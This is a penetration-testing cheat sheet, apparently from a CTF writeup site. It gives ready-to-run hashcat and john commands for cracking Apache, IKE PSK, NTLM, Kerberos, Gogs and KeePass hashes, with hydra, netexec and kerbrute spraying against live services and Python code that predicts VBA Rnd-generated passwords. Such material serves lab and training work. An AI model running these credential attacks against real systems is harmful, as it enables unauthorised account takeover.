Password Attacks & Cracking

Picking the right hashcat mode for the hash in front of you, and spraying or brute-forcing a live service when you only have a username list.

Hashes come off boxes in a dozen formats, and the whole game is picking the right -m mode. 1600 for Apache apr1 MD5 and 5400 for an IKEv1 aggressive-mode PSK both came straight off boxes here, and --show re-prints an already-cracked hash from the pot.

Offline cracking#

Match the mode to the hash, then let rockyou do the work. ike-scan pulls the PSK hash off an aggressive-mode endpoint first.

bash
# hashcat: pick the mode for the hash in front of you
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt          # apache apr1
hashcat -m 5400 hash.txt /usr/share/wordlists/rockyou.txt          # IKEv1 PSK
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt --show   # NTLM
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt        # AS-REP
hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt          # Kerberoast

# john with a known format
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# pull the PSK hash off an IKE aggressive-mode endpoint first
ike-scan -A -M --pskcrack=hash.txt <IP>

App hashes & wordlist trimming#

Some apps ship their own PBKDF2 store instead of a system hash. Gogs keeps the salt/passwd columns in gogs.db, then convert them to hashcat’s sha256:iter:salt:hash form and crack with -m 10900. KeePass is -m 13400, unless you looted the keyfile, in which case skip cracking and just read the entries. PBKDF2 is slow, so when a leaked password policy sets a length floor, trim the wordlist to match before you start.

bash
# Gogs SQLite -> hashcat PBKDF2-HMAC-SHA256 (mode 10900)
python3 GogsToHashcat.py -n <iterations> <salt-from-gogs.db>
hashcat -m 10900 'sha256:10000:<b64salt>:<b64hash>' trimmed.txt

# KeePass: crack the master password...
keepass2john db.kdbx > kp.hash && hashcat -m 13400 kp.hash /usr/share/wordlists/rockyou.txt
# ...or just open it when you already have the keyfile (pykeepass)
python3 -c "from pykeepass import PyKeePass; [print(e.title, e.username, e.password) for e in PyKeePass('db.kdbx', keyfile='.key.keyx').entries]"

# trim rockyou to a policy minimum length before a slow crack
grep -E '^.{20,}$' /usr/share/wordlists/rockyou.txt > trimmed.txt

Online spraying & brute force#

When there is no hash to crack, go at the live service, but respect the lockout policy you read during enumeration.

bash
# online spray/brute against a live service
hydra -L users.txt -P rockyou.txt ssh://<IP> -t 4
netexec smb <IP> -u users.txt -p rockyou.txt --no-bruteforce

Predictable PRNG (VBScript/VBA Rnd)#

When a password generator uses VBScript/VBA Randomize/Rnd, it is a 24-bit LCG seeded from the timer, enumerate the whole seed space and replay the exact generation loop. A logged timestamp pins the seed to a tiny window (see Doyensec).

python
# reproduce Rnd() and emit every candidate, then spray the list
class VBARnd:
    def __init__(self, s): self.s = s & 0xFFFFFF
    def next(self):
        self.s = (self.s*1140671485 + 12820163) & 0xFFFFFF
        return self.s / 0x1000000
CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$"
def gen(seed, n=14):
    r = VBARnd(seed); return "".join(CHARS[int(r.next()*len(CHARS))] for _ in range(n))
# for seed in range(0x1000000): print(gen(seed))   -> candidates.txt
bash
# throttle the spray so you do not lock the account
kerbrute bruteuser -d <domain> --dc <DC> candidates.txt <user>
KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys